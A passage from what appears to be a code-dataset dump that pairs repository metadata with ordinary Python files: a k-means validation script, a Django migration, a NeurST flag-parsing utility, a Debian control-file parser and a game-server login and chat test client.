app.forms.select_analytical_forms()
app.forms.select_1_24()
app.filter.open_filter()
app.filter.filter_for_2020()
app.filter.click_filter_ok()
app.sum_table.calculate_procent() | [
"busbunny.k38@gmail.com"
] | busbunny.k38@gmail.com |
ff4b853a7315451a616f6a85843dfe16414ad81e | add7e951ce7edcef955c3608b1dc81338d8b040d | /project03-kmeans/code/validate.py | 9b833a5497aa30ac6ce2997509c0f1331fd9401b | [] | no_license | ivonu/eth-data-minig | 6cd825c1179d5bf60877d3e100dbd173109697ef | 369b68eb6697a0d1409d4c1eefabbd08ba0da1ec | refs/heads/master | 2021-01-02T09:13:45.079490 | 2014-08-14T11:40:48 | 2014-08-14T11:40:48 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,492 | py | #!/usr/bin/env python2.7
import sys
import numpy as np
import mapper as m
import reducer_old as r
data_size = 100000
data_train_size = 60000
data_validate_size = data_size - data_train_size
buckets = 10
bucket_size = data_train_size/buckets
def train (data_train):
# mappers
S = []
ts = []
for i in range(buckets):
print '%i. bucket...' % i
mu1 = np.random.randn(200, 750) / 42
t = np.zeros(200)
for x_t in data_train[i*bucket_size:i*bucket_size+bucket_size]:
m.updateMu(x_t, mu1, t)
S.append(mu1)
ts.append(t)
# reducer
final_mu = np.random.randn(200, 750) / 42
t = np.zeros(200)
for c, mu in enumerate(S):
weights = ts[c]
for c2, x_t in enumerate(mu):
r.updateMu(x_t, final_mu, t, weights[c2])
return final_mu
def validate(data_validate, mu):
total_dist = 0
for x_t in data_validate:
mindist = sys.float_info.max
for j, mu_j in enumerate(mu):
dist = np.sum(np.square(x_t - mu_j))
if dist < mindist:
mindist = dist
total_dist += (mindist/data_validate_size)
return total_dist
if __name__ == "__main__":
data = np.load("../data/tiny_subset.zip")['arr_0']
data_train = data[:data_train_size]
data_validate = data[data_train_size+1:]
print "train..."
mu = train(data_train)
print "validate..."
error = validate(data_validate, mu)
print error | [
"ivo.nussbaumer@gmail.com"
] | ivo.nussbaumer@gmail.com |
6e49d0aa9c3696735dc04a1baf1d0c91c02ea0e0 | 8389c59d6c46a7520b5ad0ecb487547bde688836 | /Bus_Booking_App_django/BusBooking/migrations/0001_initial.py | 10f8486c2b4d4e55aac3a95b13a5dfdb8f3854d9 | [] | no_license | giri-maker/osus | d6894d56624d51354f78e4e61e407364e5c634fc | 93e8798d2c6253e2ca19576ace33d8b4bdd88559 | refs/heads/main | 2023-02-15T00:34:50.739398 | 2021-01-08T06:35:17 | 2021-01-08T06:35:17 | 327,808,131 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 879 | py | # Generated by Django 2.2.5 on 2020-06-21 15:48
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='AdduserModel',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=200)),
('email', models.EmailField(max_length=200)),
('password', models.CharField(max_length=200)),
('gender', models.CharField(choices=[('M', 'Male'), ('F', 'Female')], default='M', max_length=2)),
('age', models.IntegerField(max_length=3)),
('phone', models.CharField(max_length=10)),
],
),
]
| [
"noreply@github.com"
] | giri-maker.noreply@github.com |
76eb02818b86cd869cac8d8fc65046d37d016295 | c9fb11afd0e5a85e0cded538cae80ec9559378db | /neurst/utils/flags_core.py | 740561925524377c1cae5cc01062270830eb0fb1 | [
"Apache-2.0"
] | permissive | lileicc/CIAT | cdf82f81ea57e1d85d3e6361976ca2e57c9891c1 | 47b2a7f8858c52125ec92a38db871b5e8cad79bc | refs/heads/master | 2023-08-31T16:51:11.846533 | 2021-10-15T09:21:31 | 2021-10-15T09:21:31 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 24,800 | py | # Copyright 2020 ByteDance Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import argparse
import copy
import importlib
import json
import os
import traceback
from collections import namedtuple
import tensorflow as tf
from absl import logging
from neurst.utils.configurable import deep_merge_dict, load_from_config_path, yaml_load_checking
from neurst.utils.misc import flatten_string_list
from neurst.utils.registry import REGISTRIES
_DEFINED_FLAGS = dict()
class Flag(object):
TYPE = namedtuple(
"FLAG_ARG_TYPES", "INTEGER BOOLEAN FLOAT STRING")(int, bool, float, str)
UNIQ_SET = []
def __init__(self,
name,
dtype,
required=False,
choices=None,
help="",
default=None,
multiple=False,
alias=None):
""" The flags
Args:
name: The flag name.
dtype: The type.
choices: A list of acceptable values.
default: The default value.
help: The help text.
multiple: Whether the flag accepts multiple arguments.
alias: The alias name for this flag.
"""
if name in ["class", "params"]:
raise ValueError("Invalid flag name: {}".format(name))
if "-" in name:
raise ValueError("Flag name with '-' is not supported.")
self._name = name.strip()
self._dtype = dtype
self._default = default
self._help = help
self._choices = choices
self._multiple = multiple
self._required = required
self._alias = alias
@property
def name(self):
return self._name
@property
def dtype(self):
return self._dtype
@property
def default(self):
return self._default
@property
def multiple(self):
return self._multiple
@property
def help(self):
return self._help
@property
def alias(self):
return self._alias
@property
def choices(self):
return self._choices
def define(self, arg_parser: argparse.ArgumentParser, default_is_none=True):
""" Adds argument to the parser.
Args:
arg_parser: An ArgumentParser object.
default_is_none: Whether the default value is None
Returns: The parser.
"""
try:
idx = self.UNIQ_SET.index(self)
except ValueError:
self.UNIQ_SET.append(self)
else:
raise ValueError("Defines duplicate flag: {}, while {} is already exists.".format(
str(self), str(self.UNIQ_SET[idx])))
flag_names = ["--" + self.name]
if self.alias is not None:
flag_names.append("--" + self.alias)
kwargs = {"type": self.dtype, "dest": self.name, "help": self.help}
if self.dtype is bool:
kwargs["action"] = "store_true"
kwargs["default"] = None
kwargs.pop("type")
if self.multiple:
kwargs["nargs"] = "+"
if self.choices:
kwargs["choices"] = self.choices
if self.default and not default_is_none:
kwargs["default"] = self.default
if self._required:
kwargs["required"] = True
arg_parser.add_argument(*flag_names, **kwargs)
if self.name in _DEFINED_FLAGS:
raise ValueError(f"Defined duplicate arg key: {self.name}")
_DEFINED_FLAGS[self.name] = self
return arg_parser
class ModuleFlag(object):
def __init__(self, name, module_name=None, default=None, help=""):
""" Initializes the module flag. """
self._name = name
self._module_name = module_name or name
self._help = help
self._default = default
@property
def help(self):
return self._help
@property
def default(self):
return self._default
@property
def name(self):
return self._name
@property
def module_name(self):
return self._module_name
@property
def cls_key(self):
return self.name + ".class"
@property
def params_key(self):
return self.name + ".params"
def define(self, arg_parser: argparse.ArgumentParser, backend="tf"):
""" Adds argument to the parser.
Args:
arg_parser: An ArgumentParser object.
backend: The DL backend.
Returns: The parser.
"""
_DEFINED_FLAGS[self.name] = self
Flag(name=self.cls_key, dtype=Flag.TYPE.STRING, alias=self.name,
choices=list(REGISTRIES[backend][self.module_name].keys()), default=self.default,
help=f"The class name of {self.module_name} for '{self.help}'").define(
arg_parser, default_is_none=False)
Flag(name=self.params_key, dtype=Flag.TYPE.STRING, default="{}",
help=f"The json/yaml-like parameter string for {self.module_name}").define(
arg_parser, default_is_none=False)
return arg_parser
COMMON_DATA_ARGS = [
Flag("shuffle_buffer", dtype=Flag.TYPE.INTEGER, default=0,
help="The buffer size for dataset shuffle."),
Flag("batch_size", dtype=Flag.TYPE.INTEGER, default=None,
help="The number of samples per update."),
Flag("batch_size_per_gpu", dtype=Flag.TYPE.INTEGER, default=None,
help="The per-GPU batch size, that takes precedence of `batch_size`."),
Flag("cache_dataset", dtype=Flag.TYPE.BOOLEAN,
help="Whether to cache the training data in memory.")]
DEFAULT_CONFIG_FLAG = Flag(name="config_paths", dtype=Flag.TYPE.STRING, multiple=True,
help="Path to a json/yaml configuration files defining FLAG values. "
"Multiple files can be separated by commas. Files are merged recursively. "
"Setting a key in these files is equivalent to "
"setting the FLAG value with the same name.")
EXTRA_IMPORT_LIB = Flag(name="include", dtype=Flag.TYPE.STRING, multiple=True,
help="The extra python path to be included and imported.")
def add_extra_includes():
arg_parser = argparse.ArgumentParser()
EXTRA_IMPORT_LIB.define(arg_parser)
parsed, _ = arg_parser.parse_known_args()
include = parsed.include
if include is None:
return
for path in include:
if not os.path.isdir(path):
try:
importlib.import_module(path)
logging.info(f"[INFO] import user package {path}")
except (RuntimeError, ImportError, tf.errors.OpError) as e:
logging.info(traceback.format_exc(e))
logging.info(f"WARNING: fail to import {path}")
continue
for file in os.listdir(path):
if not file.startswith('_') and not file.startswith('.') and file.endswith('.py'):
module_name = file[:file.find('.py')] if file.endswith('.py') else file
src_file = os.path.join(path, file)
with tf.io.gfile.GFile(src_file) as fp:
should_skip = True
for line in fp:
if line.strip().startswith("@register"):
should_skip = False
break
if should_skip:
logging.info(f"[INFO] skip {src_file}")
continue
trg_file = os.path.join(os.path.dirname(__file__), "userdef/" + file)
tf.io.gfile.copy(src_file, trg_file, overwrite=True)
try:
importlib.import_module("neurst.utils.userdef." + module_name)
logging.info(f"[INFO] import user-defined {src_file}")
except (RuntimeError, ImportError, tf.errors.OpError) as e:
logging.info(traceback.format_exc(e))
logging.info(f"WARNING: fail to import {src_file}")
def define_flags(flag_list: list, arg_parser=None, with_config_file=True) -> argparse.ArgumentParser:
""" Defines the root module name.
Args:
flag_list: A list of flags.
arg_parser: The argument parser.
with_config_file: Whether to define `config_paths` as default.
Returns: The argument parser.
"""
add_extra_includes()
if arg_parser is None:
arg_parser = argparse.ArgumentParser()
if with_config_file:
DEFAULT_CONFIG_FLAG.define(arg_parser)
for f in flag_list:
f.define(arg_parser)
return arg_parser
def get_argparser(module_name, cls_name, backend="tf") -> argparse.ArgumentParser:
""" Returns the argument parser for the class.
Args:
module_name: The registered module name.
cls_name: The class name (or alias).
backend: The DL backend.
Returns: An argument parser that parses the class args.
"""
arg_parser = argparse.ArgumentParser()
if hasattr(REGISTRIES[backend][module_name][cls_name], "class_or_method_args"):
for f in REGISTRIES[backend][module_name][cls_name].class_or_method_args():
f.define(arg_parser)
return arg_parser
def _flatten_args(flag_list, from_args, backend="tf"):
args = copy.deepcopy(from_args)
flattened_args = {}
for f in flag_list:
if isinstance(f, Flag) and f.name in args:
flattened_args[f.name] = args.pop(f.name)
for f in flag_list:
if isinstance(f, ModuleFlag):
if f.cls_key in args:
flattened_args[f.cls_key] = args.pop(f.cls_key)
args.pop(f.name, None)
elif f.name in args:
flattened_args[f.cls_key] = args.pop(f.name)
if f.cls_key in flattened_args and flattened_args[f.cls_key] and args.get(f.params_key, None):
if hasattr(REGISTRIES[backend][f.module_name][flattened_args[f.cls_key]], "class_or_method_args"):
for ff in REGISTRIES[backend][f.module_name][flattened_args[f.cls_key]].class_or_method_args():
if isinstance(ff, Flag):
if ff.name in args[f.params_key] and ff.name not in flattened_args:
flattened_args[ff.name] = args[f.params_key].pop(ff.name)
else:
if ff.cls_key in args:
flattened_args[ff.cls_key] = args.pop(ff.cls_key)
args.pop(ff.name, None)
elif ff.name in args:
flattened_args[ff.cls_key] = args.pop(ff.name)
elif ff.cls_key in args[f.params_key]:
flattened_args[ff.cls_key] = args[f.params_key].pop(ff.cls_key)
elif ff.name in args[f.params_key]:
flattened_args[ff.cls_key] = args[f.params_key].pop(ff.name)
if ff.params_key in args[f.params_key]:
flattened_args[ff.params_key] = deep_merge_dict(
args[f.params_key][ff.params_key], flattened_args.get(ff.params_key, {}))
else:
flattened_args[f.params_key] = args.pop(f.params_key)
args.pop(f.params_key, None)
return deep_merge_dict(flattened_args, args)
def _args_preload_from_config_files(args):
cfg_file_args = yaml_load_checking(load_from_config_path(
flatten_string_list(getattr(args, DEFAULT_CONFIG_FLAG.name, None))))
return cfg_file_args
def parse_flags(flag_list, arg_parser: argparse.ArgumentParser,
args_preload_func=_args_preload_from_config_files):
""" Parses flags from argument parser.
Args:
flag_list: A list of flags.
arg_parser: The program argument parser.
args_preload_func: A callable function for pre-loading arguments, maybe from
config file, hyper parameter set.
"""
program_parsed_args, remaining_argv = arg_parser.parse_known_args()
cfg_file_args = {}
if args_preload_func is not None:
cfg_file_args = args_preload_func(program_parsed_args)
program_parsed_args = yaml_load_checking(program_parsed_args.__dict__)
top_program_parsed_args = {}
for f in flag_list:
flag_key = f.name
if isinstance(f, ModuleFlag):
flag_key = f.cls_key
top_program_parsed_args[f.params_key] = {}
if program_parsed_args.get(f.params_key, None) is not None:
top_program_parsed_args[f.params_key] = program_parsed_args[f.params_key]
if f.params_key in cfg_file_args:
top_program_parsed_args[f.params_key] = deep_merge_dict(
cfg_file_args[f.params_key], top_program_parsed_args[f.params_key])
if program_parsed_args.get(flag_key, None) is not None:
top_program_parsed_args[flag_key] = program_parsed_args[flag_key]
elif flag_key in cfg_file_args:
top_program_parsed_args[flag_key] = cfg_file_args[flag_key]
else:
top_program_parsed_args[flag_key] = f.default
return top_program_parsed_args, remaining_argv
def intelligent_parse_flags(flag_list, arg_parser: argparse.ArgumentParser,
args_preload_func=_args_preload_from_config_files,
backend="tf"):
""" Parses flags from argument parser.
Args:
flag_list: A list of flags.
arg_parser: The program argument parser.
args_preload_func: A callable function for pre-loading arguments, maybe from
config file, hyper parameter set.
backend: The DL backend.
"""
program_parsed_args, remaining_argv = arg_parser.parse_known_args()
cfg_file_args = {}
if args_preload_func is not None:
cfg_file_args = args_preload_func(program_parsed_args)
top_program_parsed_args = _flatten_args(flag_list,
yaml_load_checking(program_parsed_args.__dict__))
for f in flag_list:
if isinstance(f, ModuleFlag):
if f.cls_key in top_program_parsed_args and top_program_parsed_args[f.cls_key]:
cfg_file_args[f.cls_key] = top_program_parsed_args[f.cls_key]
cfg_file_args = _flatten_args(flag_list, cfg_file_args)
for f in flag_list:
if isinstance(f, Flag):
if top_program_parsed_args[f.name] is None:
top_program_parsed_args[f.name] = cfg_file_args.get(f.name, None)
cfg_file_args.pop(f.name, None)
else:
submodule_cls = (top_program_parsed_args.get(f.cls_key, None)
or cfg_file_args.get(f.cls_key, None))
cfg_file_args.pop(f.cls_key, None)
if submodule_cls is None:
continue
top_program_parsed_args[f.cls_key] = submodule_cls
if top_program_parsed_args.get(f.params_key, None) is None:
top_program_parsed_args[f.params_key] = {}
module_arg_parser = get_argparser(f.module_name, submodule_cls)
module_parsed_args, remaining_argv = module_arg_parser.parse_known_args(remaining_argv)
module_parsed_args = yaml_load_checking(module_parsed_args.__dict__)
if hasattr(REGISTRIES[backend][f.module_name][submodule_cls], "class_or_method_args"):
key_cfg_file_args = _flatten_args(
REGISTRIES[backend][f.module_name][submodule_cls].class_or_method_args(), cfg_file_args)
for inner_f in REGISTRIES[backend][f.module_name][submodule_cls].class_or_method_args():
flag_key = inner_f.name
if isinstance(inner_f, ModuleFlag):
flag_key = inner_f.cls_key
cfg_file_args.pop(flag_key, None)
if module_parsed_args[flag_key] is not None:
top_program_parsed_args[f.params_key][flag_key] = module_parsed_args[flag_key]
top_program_parsed_args.pop(flag_key, None)
key_cfg_file_args.pop(flag_key, None)
cfg_file_args.pop(flag_key, None)
elif flag_key in top_program_parsed_args:
top_program_parsed_args[f.params_key][flag_key] = top_program_parsed_args.pop(flag_key)
key_cfg_file_args.pop(flag_key, None)
cfg_file_args.pop(flag_key, None)
elif flag_key in key_cfg_file_args:
top_program_parsed_args[f.params_key][flag_key] = key_cfg_file_args.pop(flag_key)
cfg_file_args.pop(flag_key, None)
if isinstance(inner_f, ModuleFlag):
top_program_parsed_args[f.params_key][inner_f.params_key] = deep_merge_dict(
cfg_file_args.pop(inner_f.params_key, {}) or {},
deep_merge_dict(top_program_parsed_args[f.params_key].pop(inner_f.params_key, {}) or {},
deep_merge_dict(top_program_parsed_args.pop(inner_f.params_key, {}) or {},
module_parsed_args.pop(inner_f.params_key, {}) or {})))
top_program_parsed_args = deep_merge_dict(cfg_file_args, top_program_parsed_args)
for f in flag_list:
if isinstance(f, Flag):
if f.name not in top_program_parsed_args or top_program_parsed_args[f.name] is None:
top_program_parsed_args[f.name] = f.default
return top_program_parsed_args, remaining_argv
def extend_define_and_parse(flag_name, args, remaining_argv, backend="tf"):
f = _DEFINED_FLAGS.get(flag_name, None)
if f is None or not isinstance(f, ModuleFlag):
return args
if not hasattr(REGISTRIES[backend][f.module_name][args[f.cls_key]], "class_or_method_args"):
return args
arg_parser = argparse.ArgumentParser()
for ff in REGISTRIES[backend][f.module_name][args[f.cls_key]].class_or_method_args():
if isinstance(ff, ModuleFlag):
if args[f.params_key].get(ff.cls_key, None):
this_cls = REGISTRIES[backend][ff.module_name][args[f.params_key][ff.cls_key]]
if hasattr(this_cls, "class_or_method_args"):
for fff in this_cls.class_or_method_args():
fff.define(arg_parser)
parsed_args, remaining_argv = arg_parser.parse_known_args(remaining_argv)
parsed_args = yaml_load_checking(parsed_args.__dict__)
for ff in REGISTRIES[backend][f.module_name][args[f.cls_key]].class_or_method_args():
if isinstance(ff, ModuleFlag):
if args[f.params_key].get(ff.cls_key, None):
this_cls = REGISTRIES[backend][ff.module_name][args[f.params_key][ff.cls_key]]
if hasattr(this_cls, "class_or_method_args"):
if args[f.params_key].get(ff.params_key, None) is None:
args[f.params_key][ff.params_key] = {}
for fff in this_cls.class_or_method_args():
flag_key = fff.name
if isinstance(fff, ModuleFlag):
flag_key = fff.cls_key
if parsed_args[flag_key] is not None:
args[f.params_key][ff.params_key][flag_key] = parsed_args[flag_key]
args.pop(flag_key, None)
args.pop(fff.name, None)
elif flag_key in args:
args[f.params_key][ff.params_key][flag_key] = args.pop(flag_key)
args.pop(fff.name, None)
elif fff.name in args:
args[f.params_key][ff.params_key][flag_key] = args.pop(fff.name)
elif fff.name in args[f.params_key][ff.params_key]:
if flag_name not in args[f.params_key][ff.params_key]:
args[f.params_key][ff.params_key][flag_key] = args[f.params_key][ff.params_key].pop(
fff.name)
if isinstance(fff, ModuleFlag):
args[f.params_key][ff.params_key][fff.params_key] = deep_merge_dict(
args[f.params_key][ff.params_key].get(fff.params_key, {}) or {},
deep_merge_dict(args.get(fff.params_key, {}) or {},
parsed_args.get(fff.params_key, {}) or {}))
return args, remaining_argv
def _handle_too_long_verbosity(indent, key, val, default, help_txt):
text = indent + key + ": "
if isinstance(val, list) and len(val) > 10:
text += str(val[:10] + ["....."])
elif isinstance(val, dict):
new_val = {}
for k, v in val.items():
if isinstance(v, list) and len(v) > 10:
new_val[k] = v[:10] + ["......"]
else:
new_val[k] = v
text += json.dumps(new_val)
else:
text += f"{val}"
text += " # "
if default is not None:
text += f"(default: {default}) "
text += help_txt
logging.info(text)
def verbose_flags(flag_list, args, remaining_argv, backend="tf"):
logging.info("==========================================================================")
logging.info("Parsed all matched flags: ")
verbose_args = copy.deepcopy(args)
for f in flag_list:
if isinstance(f, Flag):
if f.name in verbose_args:
logging.info(f" {f.name}: {verbose_args.pop(f.name)} # (default: {f.default}) {f.help}")
else:
if f.cls_key in verbose_args:
logging.info(f" {f.cls_key}: {verbose_args[f.cls_key]}")
if f.params_key in verbose_args:
if (verbose_args.get(f.cls_key, None) and hasattr(
REGISTRIES[backend][f.module_name][verbose_args[f.cls_key]], "class_or_method_args")):
logging.info(f" {f.params_key}:")
for ff in REGISTRIES[backend][f.module_name][verbose_args[f.cls_key]].class_or_method_args():
if isinstance(ff, Flag):
if ff.name in verbose_args[f.params_key]:
_handle_too_long_verbosity(" ", ff.name, verbose_args[f.params_key][ff.name],
ff.default, ff.help)
else:
if ff.cls_key in verbose_args[f.params_key]:
logging.info(f" {ff.cls_key}: {verbose_args[f.params_key][ff.cls_key]}")
if ff.params_key in verbose_args[f.params_key]:
_handle_too_long_verbosity(" ", ff.params_key,
verbose_args[f.params_key][ff.params_key],
None, ff.help)
else:
logging.info(f" {f.params_key}: {json.dumps(verbose_args[f.params_key])}")
verbose_args.pop(f.cls_key, None)
verbose_args.pop(f.params_key, None)
if len(verbose_args) > 0:
logging.info("")
logging.info("Other flags:")
for k, v in verbose_args.items():
logging.info(f" {k}: {str(v)}")
if len(remaining_argv) > 0:
logging.info("")
logging.info("Remaining unparsed flags: ")
text = None
for arg in remaining_argv:
if arg.startswith("-"):
if text and len(text) > 0:
logging.info(" {}".format(" ".join(text)))
text = []
if text is None:
continue
text.append(arg)
if text and len(text) > 0:
logging.info(" {}".format(" ".join(text)))
logging.info("==========================================================================")
| [
"zhaochengqi.d@bytedance.com"
] | zhaochengqi.d@bytedance.com |
35fd2a5379986c7ed7c236f710cdca4971cbdaea | efe620dc069cd1e99cdfe69f47c1d24d6d21d56c | /meuh/deb/control.py | 009808208080f3cbe3559eaa5dd1298442be8dbe | [
"MIT"
] | permissive | johnnoone/meuh-python | c8e124bf0aef37cc86ed161e1d74c20375e8424c | 44c4d8d51fd4f97304de314816d447f674565c83 | refs/heads/master | 2021-01-10T22:01:14.762206 | 2015-02-27T08:31:57 | 2015-02-27T08:31:57 | 29,306,799 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,135 | py | """
meuh.deb.control
~~~~~~~~~~~~~~~~
.. see:: https://www.debian.org/doc/debian-policy/ch-controlfields.html
"""
from __future__ import absolute_import, print_function, unicode_literals
__all__ = ['Control']
from .exceptions import ParseError, LoadError
from .util import iter_src
class Control(object):
def __init__(self, general, binaries=None):
self.general = general
self.binaries = binaries or []
@classmethod
def parse(cls, obj):
"""Parse any obj.
Obj must be a str or file handler file
"""
paragraphs = load(obj)
if not paragraphs:
raise ParseError('Empty contents')
try:
return cls.load(paragraphs)
except LoadError as error:
raise ParseError(error)
@classmethod
def load(cls, obj):
general = General.load(obj[0])
binaries = []
for paragraph in obj[1:]:
binaries.append(Binary.load(paragraph))
return cls(general, binaries)
class General(object):
source = None
@classmethod
def load(cls, obj):
instance = cls()
try:
instance.source = obj.pop('Source')
except KeyError:
raise LoadError('Source field is mandatory')
instance.build_depends = obj.pop('Build-Depends', None)
instance.build_depends_indep = obj.pop('Build-Depends-Indep', None)
instance.build_conflicts = obj.pop('Build-Conflicts', None)
instance.build_conflicts_indep = obj.pop('Build-Conflicts-Indep', None)
return instance
def __repr__(self):
return '<%s(source=%r)>' % (self.__class__.__name__, self.source)
class Binary(object):
package = None
@classmethod
def load(cls, obj):
instance = cls()
try:
instance.package = obj.pop('Package')
except KeyError:
raise LoadError('Package field is mandatory')
instance.architecture = obj.pop('Architecture', '')
instance.depends = obj.pop('Depends', '')
return instance
def __repr__(self):
return '<%s(package=%r)>' % (self.__class__.__name__, self.package)
def load(obj):
paragraphs = []
paragraph = {}
field = None
for line in iter_src(obj):
if not line:
# end of paragraph
if paragraph:
paragraphs.append(paragraph)
paragraph = {}
field = None
continue
if line[0] in ('#', '-'):
# comments
continue
if line[0] in (' ', '\t'):
value = line.strip()
paragraph[field] += '\n' if value == '.' else ' '
paragraph[field] += value
continue
if ':' in line:
field, value = line.split(':', 1)
field = field.strip()
if field in paragraph:
raise ParseError('field %s is already present' % field, line)
paragraph[field] = value.strip()
if paragraph and paragraph not in paragraphs:
paragraphs.append(paragraph)
return paragraphs
| [
"xavier.barbosa@iscool-e.com"
] | xavier.barbosa@iscool-e.com |
8577b08b120ad0f40a4ea8b0546138c94b6187f9 | cf5b54b2c84437d9e72575589812b88921d4430c | /server/test/testcard2.py | 9cbbba2768ae6df36c9147103309bf48438e6fc4 | [] | no_license | hw233/gameserver3 | 90fc3b8b8e8f809b7c3197fc97145fb264166b93 | d86ef3b3313ef51df5ba01bc700877827b0a81cd | refs/heads/master | 2022-01-13T07:40:38.211070 | 2019-05-11T02:15:14 | 2019-05-11T02:15:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 81,236 | py | #coding: utf-8
'''
Created on 2012-2-20
@author: Administrator
'''
from gevent import monkey;monkey.patch_all()
import importlib
import time,traceback
import threading
import sys,logging
from db.connect import *
from message.base import *
import socket
from proto.access_pb2 import *
from proto.constant_pb2 import *
from proto.game_pb2 import *
from proto.hall_pb2 import *
from proto.chat_pb2 import *
from proto.reward_pb2 import *
from proto.trade_pb2 import *
from proto.bag_pb2 import *
from proto.bank_pb2 import *
from proto.mail_pb2 import *
from proto.friend_pb2 import *
from proto.struct_pb2 import *
from proto.rank_pb2 import *
from proto.war_pb2 import *
from proto.lottery_pb2 import *
from proto.texas_pb2 import *
from testbasecard import *
def fast_login_game(client,device_id,imei,imsi,token):
try:
MessageMapping.init()
resp = client.fast_test_enter_server(device_id,imei,imsi,token)
req = create_client_message(ConnectGameServerReq)
req.header.user = resp.header.user
req.body.session = resp.body.session
client.socket.send(req.encode())
resp2 = client.get_message()
print '1111111111111111111111111111111111111111111'
req2 = create_client_message(QueryHallReq)
req2.header.user = resp.header.user
req2.body.max_mail_id = 0
req2.body.max_announcement_id = 0
client.socket.send(req2.encode())
client.get_message()
# req2 = create_client_message(QueryUserReq)
# req2.header.user = resp2.header.user
# req2.body.uid = resp2.header.user
# client.socket.send(req2.encode())
# client.get_message()
except:
traceback.print_exc()
finally:
pass
def register_game(client,mobile,password,verify_code,imei,imsi,device_id,channel):
try:
MessageMapping.init()
resp = client.register_test_enter_server(mobile,password,verify_code,imei,imsi,device_id,channel)
# RESULT_FAILED_NAME_EXISTED
if resp.header.result == 5:
print 'RESULT_FAILED_NAME_EXISTED'
return
if resp.header.result == 8:
print 'RESULT_FAILED_ACCOUNT_DISABLED'
return
req = create_client_message(ConnectGameServerReq)
req.header.user = resp.header.user
req.body.session = resp.body.session
client.socket.send(req.encode())
result = client.get_message()
#
# req = create_client_message(QueryHallReq)
# req.header.user = result.header.user
# req.body.max_mail_id = 0
# req.body.max_announcement_id = 0
# client.socket.send(req.encode())
except:
traceback.print_exc()
finally:
pass
def normal_login_game_server_time(client,mobile,password,device_id):
try:
MessageMapping.init()
print mobile,password,device_id
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
time.sleep(3)
req = create_client_message(GetServerTimeReq)
req.header.user = result.header.user
client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def normal_logout(client,mobile,password,token):
try:
MessageMapping.init()
resp = client.fast_test_enter_server(token,'','','')
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
time.sleep(2)
print 'now logout------------------------------------'
resp = client.normal_logout_server(mobile,password,token, result.header.user)
print resp
print '#####################'
print resp.header.user,'=',resp.header.result
time.sleep(2)
req = create_client_message(QueryHallReq)
req.header.user = result.header.user
req.body.max_mail_id = 0
req.body.max_announcement_id = 0
client.socket.send(req.encode())
except:
traceback.print_exc()
finally:
pass
def update_user(client,mobile,password,device_id):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
time.sleep(1)
print '33333333333333333333333333333333333'
req = create_client_message(UpdateUserReq)
req.header.user = result.header.user
req.body.sign = u'33333311111111111111111111111111111111็ญพๅๅ~~~'
req.body.nick = u'x11231111x'
req.body.birthday = '1911-01-11'
req.body.avatar = 'https://www.baid111.c1om/img111111111/bd11_111111logo1.pn123123g'
print req.header.user,'=',req.header.result
client.socket.send(req.encode())
print '4444444444444444444444444444444444'
except:
traceback.print_exc()
finally:
pass
def get_annoucments(client,mobile,password,token):
try:
MessageMapping.init()
resp = client.normal_test_enter_server('13412311111','123456','device_id_333')
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
req = create_client_message(QueryAnnouncementsReq)
req.header.user = result.header.user
client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def send_chat_world(client,mobile = '13412341235',password= '123456',token='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,token)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
# req = create_client_message(QueryHallReq)
# req.header.user = result.header.user
# req.body.max_mail_id = 0
# req.body.max_announcement_id = 0
# client.socket.send(req.encode())
# time.sleep(2)
req2 = create_client_message(SendChatReq)
req2.header.user = result.header.user
req2.body.table_id = 0
req2.body.message = u'xxxxxxๅจPythonไธญไฝฟ็จprotocol buffersๅ่ๆๅ๏ผ๏ผ#๏ฟฅ%โฆโฆ&*๏ผ'
client.socket.send(req2.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def send_chat_room(client,mobile = '13412341235',password= '123456',token='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,token)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
req = create_client_message(QueryHallReq)
